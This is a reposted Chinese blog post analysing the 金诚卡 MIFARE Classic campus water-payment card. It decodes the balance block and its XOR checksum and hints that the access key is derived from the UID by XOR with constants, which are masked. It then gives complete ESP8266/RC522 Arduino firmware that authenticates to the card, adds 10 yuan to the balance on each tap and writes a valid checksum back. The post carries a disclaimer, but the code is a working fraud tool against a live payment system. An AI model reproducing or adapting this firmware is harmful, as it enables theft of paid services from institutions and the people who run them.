金诚卡算法分析及自制硬件测试设备

栏目: 软件资讯 · 发布时间: 5年前

内容简介:金诚卡这个东西说熟悉的人很熟悉,说不熟悉的人压根就没见过,国内有很多高校都用这款水卡。 这款水卡有两个版本,下图是旧版本的金诚卡(非全加密),另一个版本长的比这个丑(全加密)。虽然全加密和非全加密感觉安全性改善了很多,但是由于其加密密钥,加密方法并没有变化所以还是可以通过旧卡分析出来算法。当然完全可以通过 mfcuk 得到完整的密钥,实现通用修改毕竟算法并没有改变。

*本文内容仅用于技术讨论,严禁用于任何违法用途。

一、引言

金诚卡这个东西说熟悉的人很熟悉,说不熟悉的人压根就没见过,国内有很多高校都用这款水卡。 这款水卡有两个版本,下图是旧版本的金诚卡(非全加密),另一个版本长的比这个丑(全加密)。虽然全加密和非全加密感觉安全性改善了很多,但是由于其加密密钥,加密方法并没有变化所以还是可以通过旧卡分析出来算法。当然完全可以通过 mfcuk 得到完整的密钥,实现通用修改毕竟算法并没有改变。

金诚卡算法分析及自制硬件测试设备

二、卡内数据结构一览

首先我们看一下旧卡的(非全加密卡),通过几张卡对比就能发现是一卡一密。

金诚卡算法分析及自制硬件测试设备

旧卡是12扇区有数据,新卡的话也是12扇区有数据,但是在别的扇区也增加了一些个人信息的数据(估计是如果有人破解了好抓人)。可以看到只有12扇区的KEYA不是默认密钥,其余均为默认密钥。于是我们学校好多人就动起了歪心思。毕竟acr122u这种设备已经泛滥,也不管三七二十一就克隆写入到白卡开始卖(也不分析下卡的数据),然后一个个全被抓(该!)。而新卡为全加密,数据的扇区和块均保持不变。但是密钥的算法还是保持不变的。

Ps.上面这个数据是我在网上收集的,还修改了涉及到学校代码的信息。

三、金钱区块算法分析

12扇区0块为金钱值,通过最没有技术含量的对比法分析哪个位置是金钱的。所以可以得到第5、6、7组 是明显变化的。所以判断这三个和金钱有关。

01 15 02 00 21 86 B1 F1 FFFFFFFFFFFFFFFF
01 15 02 00 21 85 B2 F1 FFFFFFFFFFFFFFFF
01 15 02 00 21 84 B3 F1 FFFFFFFFFFFFFFFF

但是之前还有01 15 02 这三个代码,考研报名的时候就经常见到这个代码(本文代码是假的)。这摆明了就是学校的代码嘛。合着水卡的信息还包含学校代码。

21 86从十六进制转换成10进制,竟然和卡里的钱数*100后一样,所以5 6组就是金钱的位置。那么第七组就是校检位了,防止篡改数据。想想Ic卡最常见的校检方法,结果还是2位。于是我推测是每一组每一组进行异或运算。果真01^15^02^00^21^86的结果是B1。原来学校代码的作用是这个啊,防止跨校买水么。于是此阶段水卡的金钱扇区就解密了。

四、一卡一密解密

这部分不敢太详细说,怕教坏别人。但是通过金钱区块的分析得到生成校检位的是异或运算。那么KEYA是不是也是通过异或得到的?还有为什么KEY结尾四位都是固定的?前面8位变化?uid也是8位?是不是KEYA是根据UID计算出来的+固定值?异或好像是可逆运算啊!这段就说到这里了。

五、大头来了,自制硬件设备

有了KEYA计算规则,还有校检生成方法。可以完美的对任何一张水卡进行充值了(包括新卡,因为除了全加密了其余并没有改变)。

硬件设备包括:

0.96的OLED一个 (i2c)
esp8266nodemcu v1.0 的开发版一个
Rc522模块一个 (spi)

其实本来想用arduino的,但是手头有个不用的esp8266就干脆用上了,把它看作arduino就行了。接线按照下图接入spi和i2c就行了,没啥难的。(主要是我画的电路图太丑了 拿不出手)下图是esp8266的引脚定义,如果你也用esp8266那么可以参照这个。

金诚卡算法分析及自制硬件测试设备

我自己接完之后长这样。背面我就不拍照了,太丑了,焊工渣死。

金诚卡算法分析及自制硬件测试设备

代码如下,请注意看注释:

#include <Adafruit_GFX.h>
#include <Adafruit_ssd1306syp.h>
#include <SPI.h>
#include <MFRC522.h>
#include <Adafruit_ssd1306syp.h>
#define SDA_PIN          4  //定义oled的data
#define SCL_PIN          5  //定义oled的clock
#define RST_PIN         10  // 定义rc522的rst
#define SS_PIN          15  //定义rc522的ss   (其余的就参照spi和i2c对应的引脚就行了 rc522的RQ悬空 不用接)

MFRC522 mfrc522(SS_PIN, RST_PIN);   //  创建MFRC522实例
Adafruit_ssd1306syp display(SDA_PIN, SCL_PIN); //创建oled显示实例
MFRC522::MIFARE_Key keyA;

/**
   Initialize.
*/
void setup() {
  delay(1000);
  display.initialize();
  Serial.begin(9600);  
  while (!Serial);     
  SPI.begin();         
  mfrc522.PCD_Init(); 
  pinMode(D0, OUTPUT);  //这个是设置板载的LED为输出端口
  digitalWrite(D0, HIGH); //这个LED高电平亮低电平灭 所以拉高。
  display.setTextSize(3); //欢迎界面
  display.setTextColor(WHITE);
  display.println("WELCOM");
  display.update();
  delay(3000);
}

/**
   Main loop.
*/
void loop() {

  display.clear();//清空显示
  //寻找新卡
  if ( ! mfrc522.PICC_IsNewCardPresent()) {


    return;
  }
  //选择一个卡
  if ( ! mfrc522.PICC_ReadCardSerial())
  {


    return;
  }
//读取uid并byte2string
  String UID = "";
  for (byte i = 0; i < mfrc522.uid.size; i++) {
    UID.concat(String(mfrc522.uid.uidByte[i], HEX));
  }
  UID.toUpperCase();
  display.setTextSize(2);
  display.setTextColor(WHITE);
  display.setCursor(0, 0);
  display.println(UID);


  //计算key 这块结合着前面看,已经很清晰的知道怎么计算KEYA了
  keyA.keyByte[0] = mfrc522.uid.uidByte[0] ^ 0x**;
  keyA.keyByte[1] = mfrc522.uid.uidByte[1] ^ 0x**;
  keyA.keyByte[2] = mfrc522.uid.uidByte[2] ^ 0x**;
  keyA.keyByte[3] = mfrc522.uid.uidByte[3] ^ 0x**;
  keyA.keyByte[4] = 0x**;
  keyA.keyByte[5] = 0x**;
  String KEY = "";
  for (byte i = 0; i <  6; i++) {
    KEY.concat(String( keyA.keyByte[i], HEX));
  }
  KEY.toUpperCase();
  //display.print("KEY:");
  // display.println(KEY);
  //display.update();

  byte sector         = 12;          //扇区
  byte blockAddr      = 48;          //扇区开始块  金额地址
  MFRC522::StatusCode status;  //状态码
  byte buffer[18];
  byte size = sizeof(buffer);

 
  //  在trailerBlock块中 使用身份验证密钥A
  Serial.println(F("Authenticating using key A..."));
  status = (MFRC522::StatusCode) mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, blockAddr, &keyA, &(mfrc522.uid));
  if (status != MFRC522::STATUS_OK) { //如果状态!=成功
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
    return;
  }


  //输出指定扇区当前内容
  status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
  if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }

  int IntMoney = buffer[5] | buffer[4] << 8; //byte2int
  display.print("old:");
  display.println(IntMoney / 100.0);

  IntMoney = IntMoney + 1000;
  buffer[4] = IntMoney >> 8;
  buffer[5] = IntMoney;

  int IntMoney1 = buffer[5] | buffer[4] << 8; //int2byte
  buffer[6] = buffer[0] ^ buffer[1] ^ buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; //计算校检位


  status = (MFRC522::StatusCode) mfrc522.MIFARE_Write(blockAddr, buffer, 16);
  if (status != MFRC522::STATUS_OK) {  //如果写入失败返回错误状态码
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }
//再读一遍 显示读取后的钱
  status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
  if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }

  IntMoney = buffer[5] | buffer[4] << 8;  //
  display.print("new:");
  display.println(IntMoney / 100.0);

  mfrc522.PICC_HaltA();
  // Stop encryption on PCD
  mfrc522.PCD_StopCrypto1();

  display.update();
  digitalWrite(D0, LOW);
  delay(500);
  digitalWrite(D0, HIGH);



} 

这是烧录后的效果,测试效果是刷一次增加10元,下一步准备把wifi利用上,毕竟不能浪费了wifi功能。最后,请大家不要利用本文干坏事哟!

金诚卡算法分析及自制硬件测试设备


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

引爆点

引爆点

[美] 马尔科姆·格拉德威尔 / 钱清、覃爱冬 / 中信出版社 / 2009-8 / 27.00元

我们的世界看上去很坚固,但在《纽约客》怪才格拉德威尔的眼里,只要你找到那个点,轻轻一触,这个世界就会动起来:一位满意而归的顾客能让新开张的餐馆座无虚席,一位涂鸦爱好者能在地铁掀起犯罪浪潮,一位精明小伙传递的信息拉开了美国独立战争的序幕——这个看起来不起眼的点,却是任何人都不能忽视的引爆点。 《引爆点》是一本谈论怎样让产品发起流行潮的专门性著作。书中将产品爆发流行的现象归因为三种模式:个别人物......一起来看看 《引爆点》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器